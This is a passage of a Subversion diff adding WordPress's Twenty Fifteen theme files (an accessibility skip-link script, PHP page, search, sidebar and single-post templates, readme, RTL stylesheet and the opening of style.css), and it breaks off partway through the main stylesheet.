===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/js/skip-link-focus-fix.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/js/skip-link-focus-fix.js	(revision 56912)
@@ -0,0 +1,26 @@
+/**
+ * Makes "skip to content" link work correctly in IE9, Chrome, and Opera
+ * for better accessibility.
+ *
+ * @link http://www.nczonline.net/blog/2013/01/15/fixing-skip-to-content-links/
+ */
+
+( function() {
+	var ua = navigator.userAgent.toLowerCase();
+
+	if ( ( ua.indexOf( 'webkit' ) > -1 || ua.indexOf( 'opera' ) > -1 || ua.indexOf( 'msie' ) > -1 ) &&
+		document.getElementById && window.addEventListener ) {
+
+		window.addEventListener( 'hashchange', function() {
+			var element = document.getElementById( location.hash.substring( 1 ) );
+
+			if ( element ) {
+				if ( ! /^(?:a|select|input|button|textarea)$/i.test( element.nodeName ) ) {
+					element.tabIndex = -1;
+				}
+
+				element.focus();
+			}
+		}, false );
+	}
+} )();
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/page.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/page.php	(revision 56912)
@@ -0,0 +1,38 @@
+<?php
+/**
+ * The template for displaying pages
+ *
+ * This is the template that displays all pages by default.
+ * Please note that this is the WordPress construct of pages and that
+ * other "pages" on your WordPress site will use a different template.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+		<?php
+		// Start the loop.
+		while ( have_posts() ) : the_post();
+
+			// Include the page content template.
+			get_template_part( 'content', 'page' );
+
+			// If comments are open or we have at least one comment, load up the comment template.
+			if ( comments_open() || get_comments_number() ) :
+				comments_template();
+			endif;
+
+		// End the loop.
+		endwhile;
+		?>
+
+		</main><!-- .site-main -->
+	</div><!-- .content-area -->
+
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/readme.txt
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/readme.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/readme.txt	(revision 56912)
@@ -0,0 +1,126 @@
+=== Twenty Fifteen ===
+Contributors: the WordPress team
+Requires at least: WordPress 4.1
+Tested up to: WordPress 5.0
+Version: 2.3
+License: GPLv2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+Tags: blog, two-columns, left-sidebar, accessibility-ready, custom-background, custom-colors, custom-header, custom-logo, custom-menu, editor-style, featured-images, microformats, post-formats, rtl-language-support, sticky-post, threaded-comments, translation-ready
+
+== Description ==
+Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, straightforward typography is readable on a wide variety of screen sizes, and suitable for multiple languages. We designed it using a mobile-first approach, meaning your content takes center-stage, regardless of whether your visitors arrive by smartphone, tablet, laptop, or desktop computer.
+
+* Mobile-first, Responsive Layout
+* Custom Colors
+* Custom Header
+* Social Links
+* Menu Description
+* Post Formats
+* The GPL v2.0 or later license. :) Use it to make something cool.
+
+For more information about Twenty Fifteen please go to https://codex.wordpress.org/Twenty_Fifteen.
+
+== Installation ==
+
+1. In your admin panel, go to Appearance -> Themes and click the 'Add New' button.
+2. Type in Twenty Fifteen in the search form and press the 'Enter' key on your keyboard.
+3. Click on the 'Activate' button to use your new theme right away.
+4. Go to https://codex.wordpress.org/Twenty_Fifteen for a guide on how to customize this theme.
+5. Navigate to Appearance > Customize in your admin panel and customize to taste.
+
+== Copyright ==
+
+Twenty Fifteen WordPress Theme, Copyright 2014-2018 WordPress.org & Automattic.com
+Twenty Fifteen is distributed under the terms of the GNU GPL
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 2 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU General Public License for more details.
+
+Twenty Fifteen Theme bundles the following third-party resources:
+
+HTML5 Shiv v3.7.0, Copyright 2014 Alexander Farkas
+Licenses: MIT/GPL2
+Source: https://github.com/aFarkas/html5shiv
+
+Genericons icon font, Copyright 2013-2017 Automattic.com
+License: GNU GPL, Version 2 (or later)
+Source: http://www.genericons.com
+
+== Changelog ==
+
+= 2.3 =
+* Released: January 9, 2019
+
+https://codex.wordpress.org/Twenty_Fifteen_Theme_Changelog#Version_2.3
+
+= 2.2 =
+* Released: December 19, 2018
+
+https://codex.wordpress.org/Twenty_Fifteen_Theme_Changelog#Version_2.2
+
+= 2.1 =
+* Released: December 6, 2018
+
+https://codex.wordpress.org/Twenty_Fifteen_Theme_Changelog#Version_2.1
+
+= 2.0 =
+* Released: May 17, 2018
+
+https://codex.wordpress.org/Twenty_Fifteen_Theme_Changelog#Version_2.0
+
+= 1.9 =
+* Released: November 14, 2017
+
+https://codex.wordpress.org/Twenty_Fifteen_Theme_Changelog#Version_1.9
+
+= 1.8 =
+* Released: June 8, 2017
+
+https://codex.wordpress.org/Twenty_Fifteen_Theme_Changelog#Version_1.8
+
+= 1.7 =
+* Released: December 6, 2016
+
+https://codex.wordpress.org/Twenty_Fifteen_Theme_Changelog#Version_1.7
+
+= 1.6 =
+* Released: August 15, 2016
+
+https://codex.wordpress.org/Twenty_Fifteen_Theme_Changelog#Version_1.6
+
+= 1.5 =
+* Released: April 12, 2016
+
+https://codex.wordpress.org/Twenty_Fifteen_Theme_Changelog#Version_1.5
+
+= 1.4 =
+* Released: December 8, 2015
+
+https://codex.wordpress.org/Twenty_Fifteen_Theme_Changelog#Version_1.4
+
+= 1.3 =
+* Released: August 18, 2015
+
+https://codex.wordpress.org/Twenty_Fifteen_Theme_Changelog#Version_1.3
+
+= 1.2 =
+* Released: May 6, 2015
+
+https://codex.wordpress.org/Twenty_Fifteen_Theme_Changelog#Version_1.2
+
+= 1.1 =
+* Released: April 23, 2015
+
+https://codex.wordpress.org/Twenty_Fifteen_Theme_Changelog#Version_1.1
+
+= 1.0 =
+* Released: December 18, 2014
+
+Initial release
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/rtl.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/rtl.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/rtl.css	(revision 56912)
@@ -0,0 +1,848 @@
+/*
+Theme Name: Twenty Fifteen
+Description: Adds support for languages written in a Right To Left (RTL) direction.
+It's easy, just a matter of overwriting all the horizontal positioning attributes
+of your CSS stylesheet in a separate stylesheet file named rtl.css.
+
+See: https://codex.wordpress.org/Right_to_Left_Language_Support
+*/
+
+/**
+ * Table of Contents:
+ *
+ * 1.0 - Reset
+ * 2.0 - Typography
+ * 3.0 - Elements
+ * 4.0 - Forms
+ * 5.0 - Navigations
+ * 6.0 - Accessibility
+ * 7.0 - Alignments
+ * 8.0 - Header
+ * 9.0 - Widgets
+ * 10.0 - Content
+ *   10.1 - Posts and pages
+ *   10.2 - Comments
+ * 11.0 - Media Queries
+ *    11.1 - Mobile Large
+ *    11.2 - Tablet Small
+ *    11.3 - Tablet Large
+ *    11.4 - Desktop Small
+ *    11.5 - Desktop Medium
+ *    11.6 - Desktop Large
+ *    11.7 - Desktop X-Large
+ */
+
+
+/**
+ * 1.0 Reset
+ */
+
+body {
+	direction: rtl;
+	unicode-bidi: embed;
+}
+
+caption,
+th,
+td {
+	text-align: right;
+}
+
+
+/**
+ * 2.0 Typography
+ */
+
+body,
+button,
+input[type="button"],
+input[type="reset"],
+input[type="submit"],
+input,
+select,
+textarea,
+blockquote cite,
+blockquote small,
+.post-password-form label,
+.main-navigation .menu-item-description,
+.post-navigation .meta-nav,
+.post-navigation .post-title,
+.pagination,
+.image-navigation,
+.comment-navigation,
+.site-title,
+.site-description,
+.widget-title,
+.widget_calendar caption,
+.widget_rss .rss-date,
+.widget_rss cite,
+.author-heading,
+.entry-footer,
+.page-title,
+.page-links,
+.entry-caption,
+.comments-title,
+.comment-reply-title,
+.comment-metadata,
+.pingback .edit-link,
+.comment-list .reply a,
+.comment-form label,
+.comment-notes,
+.comment-awaiting-moderation,
+.logged-in-as,
+.form-allowed-tags,
+.no-comments,
+.wp-caption-text,
+.gallery-caption {
+	font-family: Arial, Tahoma, sans-serif;
+}
+
+::-webkit-input-placeholder {
+	font-family: Arial, Tahoma, sans-serif;
+}
+
+:-moz-placeholder {
+	font-family: Arial, Tahoma, sans-serif;
+}
+
+::-moz-placeholder {
+	font-family: Arial, Tahoma, sans-serif;
+}
+
+:-ms-input-placeholder {
+	font-family: Arial, Tahoma, sans-serif;
+}
+
+blockquote {
+	border-right: 4px solid rgba(51, 51, 51, 0.7);
+	border-left: 0;
+	padding-right: 0.7778em;
+	padding-left: 0;
+}
+
+
+/**
+ * 3.0 Elements
+ */
+
+ul,
+ol {
+	margin: 0 1.3333em 1.6em 0;
+}
+
+caption,
+th,
+td {
+	text-align: right;
+}
+
+
+/**
+ * 4.0 Forms
+ */
+
+.post-password-form input[type="submit"] {
+	right: auto;
+	left: 0;
+}
+
+
+/**
+ * 5.0 Navigations
+ */
+
+.main-navigation ul ul {
+	margin-right: 0.8em;
+	margin-left: auto;
+}
+
+.main-navigation .menu-item-has-children > a {
+	padding-right: 0;
+	padding-left: 48px;
+}
+
+.dropdown-toggle {
+	right: auto;
+	left: 0;
+}
+
+.dropdown-toggle:after {
+	right: -1px;
+	left: auto;
+}
+
+.social-navigation li {
+	float: right;
+}
+
+.social-navigation a:before {
+	right: 0;
+	left: auto;
+}
+
+.secondary-toggle {
+	right: auto;
+	left: 0;
+}
+
+.post-navigation .has-post-thumbnail a:before {
+	right: 0;
+	left: auto;
+}
+
+.pagination .prev {
+	right: 0;
+	left: auto;
+}
+
+.pagination .prev:before {
+	content: "\f429";
+	right: -1px;
+	left: auto;
+}
+
+.pagination .next {
+	right: auto;
+	left: 0;
+}
+
+.pagination .next:before {
+	content: "\f430";
+	right: auto;
+	left: -1px;
+}
+
+.image-navigation .nav-previous a:before,
+.comment-navigation .nav-previous a:before {
+	content: "\f429";
+	margin-right: auto;
+	margin-left: 0.2em;
+}
+
+.image-navigation .nav-next a:after,
+.comment-navigation .nav-next a:after {
+	content: "\f430";
+	margin-right: 0.2em;
+	margin-left: auto;
+}
+
+
+/**
+ * 6.0 Accessibility
+ */
+
+.screen-reader-text:hover,
+.screen-reader-text:focus {
+	right: 5px;
+	left: auto;
+}
+
+
+/**
+ * 7.0 Alignments
+ */
+
+.alignright {
+	float: right;
+}
+
+.alignleft {
+	float: left;
+}
+
+.aligncenter {
+	margin-right: auto;
+	margin-left: auto;
+}
+
+blockquote.alignright,
+.wp-caption.alignright,
+img.alignright {
+	margin: 0.4em 0 1.6em 1.6em;
+}
+
+blockquote.alignleft,
+.wp-caption.alignleft,
+img.alignleft {
+	margin: 0.4em 1.6em 1.6em 0;
+}
+
+
+/**
+ * 8.0 Header
+ */
+
+.site-branding {
+	padding-right: 0;
+	padding-left: 60px;
+}
+
+
+/**
+ * 9.0 Widgets
+ */
+
+.widget_categories .children,
+.widget_nav_menu .sub-menu,
+.widget_pages .children {
+	margin: 0.7667em 0.8em 0 0;
+}
+
+.textwidget ul,
+.textwidget ol {
+	margin-left: 0;
+	margin-right: 1.6em;
+}
+
+/**
+ * 10.0 Content
+ */
+
+/**
+ * 10.1 Posts and pages
+ */
+
+.entry-content .more-link:after {
+	content: "\f430";
+}
+
+.author-link:after {
+	content: "\f430";
+}
+
+.author-info .avatar {
+	float: right;
+	margin: 0 0 1.6em 1.6em;
+}
+
+.posted-on:before,
+.byline:before,
+.cat-links:before,
+.tags-links:before,
+.comments-link:before,
+.entry-format:before,
+.edit-link:before,
+.full-size-link:before {
+	margin-right: auto;
+	margin-left: 2px;
+}
+
+.posted-on,
+.byline,
+.cat-links,
+.tags-links,
+.comments-link,
+.entry-format,
+.full-size-link {
+	margin-right: auto;
+	margin-left: 1em;
+}
+
+.page-links a,
+.page-links > span {
+	margin: 0 0 0.3333em 0.3333em;
+}
+
+.page-links > .page-links-title {
+	padding-right: 0;
+	padding-left: 0.5em;
+}
+
+.type-attachment .entry-header {
+	clear: left;
+}
+
+.format-link .entry-title a:after {
+	-webkit-transform: scaleX(-1);
+	-moz-transform: scaleX(-1);
+	-ms-transform: scaleX(-1);
+	-o-transform: scaleX(-1);
+	transform: scaleX(-1);
+}
+
+
+/**
+ * 10.2 Comments
+ */
+
+.comment-list .children > li {
+	padding-right: 0.8em;
+	padding-left: 0;
+}
+
+.comment-author .avatar {
+	float: right;
+	margin-right: 0;
+	margin-left: 0.4em;
+}
+
+.bypostauthor > article .fn:after {
+	right: 3px;
+	left: auto;
+}
+
+.comment-metadata .edit-link {
+	margin-right: 1em;
+	margin-left: auto;
+}
+
+.pingback .edit-link {
+	margin-right: 1em;
+	margin-left: auto;
+}
+
+.comment-content ul,
+.comment-content ol {
+	margin: 0 1.3333em 1.6em 0;
+}
+
+.comment-reply-title small a {
+	float: left;
+}
+
+.comment-form #wp-comment-cookies-consent {
+	margin: 0 0 0 10px;
+}
+
+/**
+ * 11.0 Media Queries
+ */
+
+
+/**
+ * 11.1 Mobile Large 620px
+ */
+
+@media screen and (min-width: 38.75em) {
+	ul,
+	ol {
+		margin-right: 0;
+		margin-left: auto;
+	}
+
+	li > ul,
+	li > ol,
+	blockquote > ul,
+	blockquote > ol {
+		margin-right: 1.3333em;
+		margin-left: auto;
+	}
+
+	blockquote {
+		margin-right: -1em;
+		margin-left: auto;
+	}
+
+	blockquote > blockquote {
+		margin-right: 0;
+		margin-left: auto;
+	}
+
+	.page-header {
+		border-color: inherit;
+		border-left: none;
+		border-style: solid;
+		border-width: 0 7px 0 0;
+	}
+
+	.page-title,
+	.taxonomy-description {
+		margin-right: -7px;
+		margin-left: auto;
+	}
+
+	.comment-content ul,
+	.comment-content ol {
+		margin-right: 0;
+		margin-left: auto;
+	}
+
+	.comment-content li > ul,
+	.comment-content li > ol,
+	.comment-content blockquote > ul,
+	.comment-content blockquote > ol {
+		margin-right: 1.3333em;
+		margin-left: auto;
+	}
+}
+
+
+/**
+ * 11.2 Tablet Small 740px
+ */
+
+@media screen and (min-width: 46.25em) {
+	blockquote {
+		margin-right: -1.05em;
+		margin-left: auto;
+		padding-right: 0.85em;
+		padding-left: 0;
+	}
+
+	.main-navigation ul ul {
+		margin-right: 1em;
+		margin-left: auto;
+	}
+
+	blockquote.alignright,
+	.wp-caption.alignright,
+	img.alignright {
+		margin: 0.4118em 0 1.6471em 1.6471em;
+	}
+
+	blockquote.alignleft,
+	.wp-caption.alignleft,
+	img.alignleft {
+		margin: 0.4118em 1.6471em 1.6471em 0;
+	}
+
+	.site-branding {
+		padding-right: 0;
+		padding-left: 66px;
+	}
+
+	.widget blockquote {
+		margin-right: -1.2353em;
+		margin-left: auto;
+		padding-right: 1em;
+		padding-left: 0;
+	}
+
+	.widget blockquote > blockquote {
+		margin-right: 0;
+		margin-left: auto;
+	}
+
+	.widget blockquote.alignright,
+	.widget .wp-caption.alignright,
+	.widget img.alignright {
+		margin: 0.5em 0 1.5em 1.5em;
+	}
+
+	.widget blockquote.alignleft,
+	.widget .wp-caption.alignleft,
+	.widget img.alignleft {
+		margin: 0.5em 1.5em 1.5em 0;
+	}
+
+	.widget_categories .children,
+	.widget_nav_menu .sub-menu,
+	.widget_pages .children {
+		margin: 0.9643em 1em 0 0;
+	}
+
+	.page-links a,
+	.page-links > span {
+		margin: 0 0 0.2857em 0.2857em;
+	}
+
+	.author-info .avatar {
+		margin: 0 0 1.6471em 1.6471em;
+	}
+
+	.comment-list .children > li {
+		padding-right: 1.2353em;
+		padding-left: 0;
+	}
+
+	.comment-author .avatar {
+		margin-left: 1.64705em;
+	}
+
+	.bypostauthor > article .fn:after {
+		right: 6px;
+		left: auto;
+	}
+}
+
+
+/**
+ * 11.3 Tablet Large 880px
+ */
+
+@media screen and (min-width: 55em) {
+	blockquote {
+		margin-right: -1.0909em;
+		margin-left: auto;
+		padding-right: 0.9091em;
+		padding-left: 0;
+	}
+
+	blockquote.alignright,
+	.wp-caption.alignright,
+	img.alignright {
+		margin: 0.4211em 0 1.6842em 1.6842em;
+	}
+
+	blockquote.alignleft,
+	.wp-caption.alignleft,
+	img.alignleft {
+		margin: 0.4211em 1.6842em 1.6842em 0;
+	}
+
+	.site-branding {
+		padding-right: 0;
+		padding-left: 74px;
+	}
+
+	.widget blockquote {
+		margin-right: -1.2632em;
+		margin-left: auto;
+		padding-right: 1.0526em;
+		padding-left: 0;
+	}
+
+	.widget_categories .children,
+	.widget_nav_menu .sub-menu,
+	.widget_pages .children {
+		margin: 0.7188em 1em 0 0;
+	}
+
+	.page-links a,
+	.page-links > span {
+		margin: 0 0 0.25em 0.25em;
+	}
+
+	.author-info .avatar {
+		margin: 0 0 1.6842em 1.6842em;
+	}
+
+	.comment-list .children > li {
+		padding-right: 1.4737em;
+		padding-left: 0;
+	}
+
+	.comment-author .avatar {
+		margin-left: 1.6842em;
+	}
+}
+
+
+/**
+ * 11.4 Desktop Small 955px
+ */
+
+@media screen and (min-width: 59.6875em) {
+	body:before {
+		right: 0;
+		left: auto;
+	}
+
+	.sidebar {
+		float: right;
+		margin-right: auto;
+		margin-left: -100%;
+	}
+
+	.site-content {
+		float: right;
+		margin-right: 29.4118%;
+		margin-left: auto;
+	}
+
+	blockquote {
+		margin-right: -1.3333em;
+		margin-left: auto;
+		padding-right: 1.1111em;
+		padding-left: 0;
+	}
+
+	.main-navigation .menu-item-has-children > a {
+		padding-right: 0;
+		padding-left: 30px;
+	}
+
+	blockquote.alignright,
+	.wp-caption.alignright,
+	img.alignright {
+		margin: 0.4em 0 1.6em 1.6em;
+	}
+
+	blockquote.alignleft,
+	.wp-caption.alignleft,
+	img.alignleft {
+		margin: 0.4em 1.6em 1.6em 0;
+	}
+
+	.widget blockquote {
+		margin-right: -1.5em;
+		margin-left: auto;
+		padding-right: 1.1667em;
+		padding-left: 0;
+	}
+
+	.widget_categories .children,
+	.widget_nav_menu .sub-menu,
+	.widget_pages .children {
+		margin: 0.4583em 1em 0 0;
+	}
+
+	.page-links a,
+	.page-links > span {
+		margin: 0 0 0.3333em 0.3333em;
+	}
+
+	.author-info .avatar {
+		margin: 0 0 1.5em 1.5em;
+	}
+
+	.comment-list .children > li {
+		padding-right: 0.8em;
+		padding-left: 0;
+	}
+
+	.comment-author .avatar {
+		margin-left: 0.8em;
+	}
+
+	.bypostauthor > article .fn:after {
+		right: 3px;
+		left: auto;
+	}
+
+	.site-branding {
+		padding: 0;
+	}
+
+	.site-footer {
+		float: right;
+		margin: 0 35.2941% 0 0;
+	}
+}
+
+
+/**
+ * 11.5 Desktop Medium 1100px
+ */
+
+@media screen and (min-width: 68.75em) {
+	blockquote {
+		margin-right: -1.05em;
+		margin-left: auto;
+		padding-right: 0.85em;
+		padding-left: 0;
+	}
+
+	.main-navigation .menu-item-has-children > a {
+		padding-right: 0;
+		padding-left: 34px;
+	}
+
+	blockquote.alignright,
+	.wp-caption.alignright,
+	img.alignright {
+		margin: 0.4118em 0 1.6471em 1.6471em;
+	}
+
+	blockquote.alignleft,
+	.wp-caption.alignleft,
+	img.alignleft {
+		margin: 0.4118em 1.6471em 1.6471em 0;
+	}
+
+	.widget blockquote {
+		padding-right: 1.2143em;
+		padding-left: 0;
+	}
+
+	.widget_categories .children,
+	.widget_nav_menu .sub-menu,
+	.widget_pages .children {
+		margin: 0.4643em 1em 0 0;
+	}
+
+	.page-links a,
+	.page-links > span {
+		margin: 0 0 0.2857em 0.2857em;
+	}
+
+	.author-info .avatar {
+		margin: 0 0 1.6471em 1.6471em;
+	}
+
+	.comment-list .children > li {
+		padding-right: 1.1667em;
+		padding-left: 0;
+	}
+
+	.comment-author .avatar {
+		margin-left: 1.64705em;
+	}
+
+	.bypostauthor > article .fn:after {
+		right: 6px;
+		left: auto;
+	}
+}
+
+
+/**
+ * 11.6 Desktop Large 1240px
+ */
+
+@media screen and (min-width: 77.5em) {
+	blockquote {
+		margin-right: -1.0909em;
+		margin-left: auto;
+		padding-right: 0.9091em;
+		padding-left: 0;
+	}
+
+	.main-navigation .menu-item-has-children > a {
+		padding-right: 0;
+		padding-left: 38px;
+	}
+
+	blockquote.alignright,
+	.wp-caption.alignright,
+	img.alignright {
+		margin: 0.4211em 0 1.6842em 1.6842em;
+	}
+
+	blockquote.alignleft,
+	.wp-caption.alignleft,
+	img.alignleft {
+		margin: 0.4211em 1.6842em 1.6842em 0;
+	}
+
+	.widget blockquote {
+		padding-right: 1.25em;
+		padding-left: 0;
+	}
+
+	.widget_categories .children,
+	.widget_nav_menu .sub-menu,
+	.widget_pages .children {
+		margin: 0.4688em 1em 0 0;
+	}
+
+	.page-links a,
+	.page-links > span {
+		margin: 0 0 0.25em 0.25em;
+	}
+
+	.author-info .avatar {
+		margin: 0 0 1.6842em 1.6842em;
+	}
+
+	.comment-list .children > li {
+		padding-right: 1.4737em;
+		padding-left: 0;
+	}
+
+	.comment-author .avatar {
+		margin-left: 1.64705em;
+	}
+}
+
+
+/**
+ * 11.7 Desktop X-Large 1403px
+ */
+
+@media screen and (min-width: 87.6875em) {
+	body:before {
+		width: -webkit-calc(50% - 289px);
+		width: calc(50% - 289px);
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/search.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/search.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/search.php	(revision 56912)
@@ -0,0 +1,53 @@
+<?php
+/**
+ * The template for displaying search results pages.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+		<?php if ( have_posts() ) : ?>
+
+			<header class="page-header">
+				<h1 class="page-title"><?php printf( __( 'Search Results for: %s', 'twentyfifteen' ), get_search_query() ); ?></h1>
+			</header><!-- .page-header -->
+
+			<?php
+			// Start the loop.
+			while ( have_posts() ) : the_post(); ?>
+
+				<?php
+				/*
+				 * Run the loop for the search to output the results.
+				 * If you want to overload this in a child theme then include a file
+				 * called content-search.php and that will be used instead.
+				 */
+				get_template_part( 'content', 'search' );
+
+			// End the loop.
+			endwhile;
+
+			// Previous/next page navigation.
+			the_posts_pagination( array(
+				'prev_text'          => __( 'Previous page', 'twentyfifteen' ),
+				'next_text'          => __( 'Next page', 'twentyfifteen' ),
+				'before_page_number' => '<span class="meta-nav screen-reader-text">' . __( 'Page', 'twentyfifteen' ) . ' </span>',
+			) );
+
+		// If no content, include the "No posts found" template.
+		else :
+			get_template_part( 'content', 'none' );
+
+		endif;
+		?>
+
+		</main><!-- .site-main -->
+	</section><!-- .content-area -->
+
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/sidebar.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/sidebar.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/sidebar.php	(revision 56912)
@@ -0,0 +1,47 @@
+<?php
+/**
+ * The sidebar containing the main widget area
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+if ( has_nav_menu( 'primary' ) || has_nav_menu( 'social' ) || is_active_sidebar( 'sidebar-1' )  ) : ?>
+	<div id="secondary" class="secondary">
+
+		<?php if ( has_nav_menu( 'primary' ) ) : ?>
+			<nav id="site-navigation" class="main-navigation" role="navigation">
+				<?php
+					// Primary navigation menu.
+					wp_nav_menu( array(
+						'menu_class'     => 'nav-menu',
+						'theme_location' => 'primary',
+					) );
+				?>
+			</nav><!-- .main-navigation -->
+		<?php endif; ?>
+
+		<?php if ( has_nav_menu( 'social' ) ) : ?>
+			<nav id="social-navigation" class="social-navigation" role="navigation">
+				<?php
+					// Social links navigation menu.
+					wp_nav_menu( array(
+						'theme_location' => 'social',
+						'depth'          => 1,
+						'link_before'    => '<span class="screen-reader-text">',
+						'link_after'     => '</span>',
+					) );
+				?>
+			</nav><!-- .social-navigation -->
+		<?php endif; ?>
+
+		<?php if ( is_active_sidebar( 'sidebar-1' ) ) : ?>
+			<div id="widget-area" class="widget-area" role="complementary">
+				<?php dynamic_sidebar( 'sidebar-1' ); ?>
+			</div><!-- .widget-area -->
+		<?php endif; ?>
+
+	</div><!-- .secondary -->
+
+<?php endif; ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/single.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/single.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/single.php	(revision 56912)
@@ -0,0 +1,48 @@
+<?php
+/**
+ * The template for displaying all single posts and attachments
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+		<?php
+		// Start the loop.
+		while ( have_posts() ) : the_post();
+
+			/*
+			 * Include the post format-specific template for the content. If you want to
+			 * use this in a child theme, then include a file called content-___.php
+			 * (where ___ is the post format) and that will be used instead.
+			 */
+			get_template_part( 'content', get_post_format() );
+
+			// If comments are open or we have at least one comment, load up the comment template.
+			if ( comments_open() || get_comments_number() ) :
+				comments_template();
+			endif;
+
+			// Previous/next post navigation.
+			the_post_navigation( array(
+				'next_text' => '<span class="meta-nav" aria-hidden="true">' . __( 'Next', 'twentyfifteen' ) . '</span> ' .
+					'<span class="screen-reader-text">' . __( 'Next post:', 'twentyfifteen' ) . '</span> ' .
+					'<span class="post-title">%title</span>',
+				'prev_text' => '<span class="meta-nav" aria-hidden="true">' . __( 'Previous', 'twentyfifteen' ) . '</span> ' .
+					'<span class="screen-reader-text">' . __( 'Previous post:', 'twentyfifteen' ) . '</span> ' .
+					'<span class="post-title">%title</span>',
+			) );
+
+		// End the loop.
+		endwhile;
+		?>
+
+		</main><!-- .site-main -->
+	</div><!-- .content-area -->
+
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/style.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/style.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/style.css	(revision 56912)
@@ -0,0 +1,6087 @@
+/*
+Theme Name: Twenty Fifteen
+Theme URI: https://wordpress.org/themes/twentyfifteen/
+Author: the WordPress team
+Author URI: https://wordpress.org/
+Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, straightforward typography is readable on a wide variety of screen sizes, and suitable for multiple languages. We designed it using a mobile-first approach, meaning your content takes center-stage, regardless of whether your visitors arrive by smartphone, tablet, laptop, or desktop computer.
+Version: 2.3
+License: GNU General Public License v2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+Tags: blog, two-columns, left-sidebar, accessibility-ready, custom-background, custom-colors, custom-header, custom-logo, custom-menu, editor-style, featured-images, microformats, post-formats, rtl-language-support, sticky-post, threaded-comments, translation-ready
+Text Domain: twentyfifteen
+
+This theme, like WordPress, is licensed under the GPL.
+Use it to make something cool, have fun, and share what you've learned with others.
+*/
+
+
+/**
+ * Table of Contents
+ *
+ * 1.0 - Reset
+ * 2.0 - Genericons
+ * 3.0 - Typography
+ * 4.0 - Elements
+ * 5.0 - Forms
+ * 6.0 - Navigations
+ *   6.1 - Links
+ *   6.2 - Menus
+ * 7.0 - Accessibility
+ * 8.0 - Alignments
+ * 9.0 - Clearings
+ * 10.0 - Header
+ * 11.0 - Widgets
+ * 12.0 - Content
+ *    12.1 - Posts and pages
+ *    12.2 - Post Formats
+ *    12.3 - Comments
+ * 13.0 - Footer
+ * 14.0 - Media
+ *    14.1 - Captions
+ *    14.2 - Galleries
+ * 15.0 - Multisite
+ * 16.0 - Media Queries
+ *    16.1 - Mobile Large
+ *    16.2 - Tablet Small
+ *    16.3 - Tablet Large
+ *    16.4 - Desktop Small
+ *    16.5 - Desktop Medium
+ *    16.6 - Desktop Large
+ *    16.7 - Desktop X-Large
+ * 17.0 - Print
+ */
+
+
+/**
+ * 1.0 - Reset
+ *
+ * Resetting and rebuilding styles have been helped along thanks to the fine
+ * work of Eric Meyer, Nicolas Gallagher, Jonathan Neal, and Blueprint.
+ */
+
+html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td {
+	border: 0;
+	font-family: inherit;
+	font-size: 100%;
+	font-style: inherit;
+	font-weight: inherit;
+	margin: 0;
+	outline: 0;
+	padding: 0;
+	vertical-align: baseline;
+}
+
+html {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	font-size: 62.5%;
+	overflow-y: scroll;
+	-webkit-text-size-adjust: 100%;
+	-ms-text-size-adjust: 100%;
+}
+
+*,
+*:before,
+*:after {
+	-webkit-box-sizing: inherit;
+	-moz-box-sizing: inherit;
+	box-sizing: inherit;
+}
+
+body {
+	background: #f1f1f1;
+}
+
+article,
+aside,
+details,
+figcaption,
+figure,
+footer,
+header,
+main,
+nav,
+section {
+	display: block;
+}
+
+ol,
+ul {
+	list-style: none;
+}
+
+table {
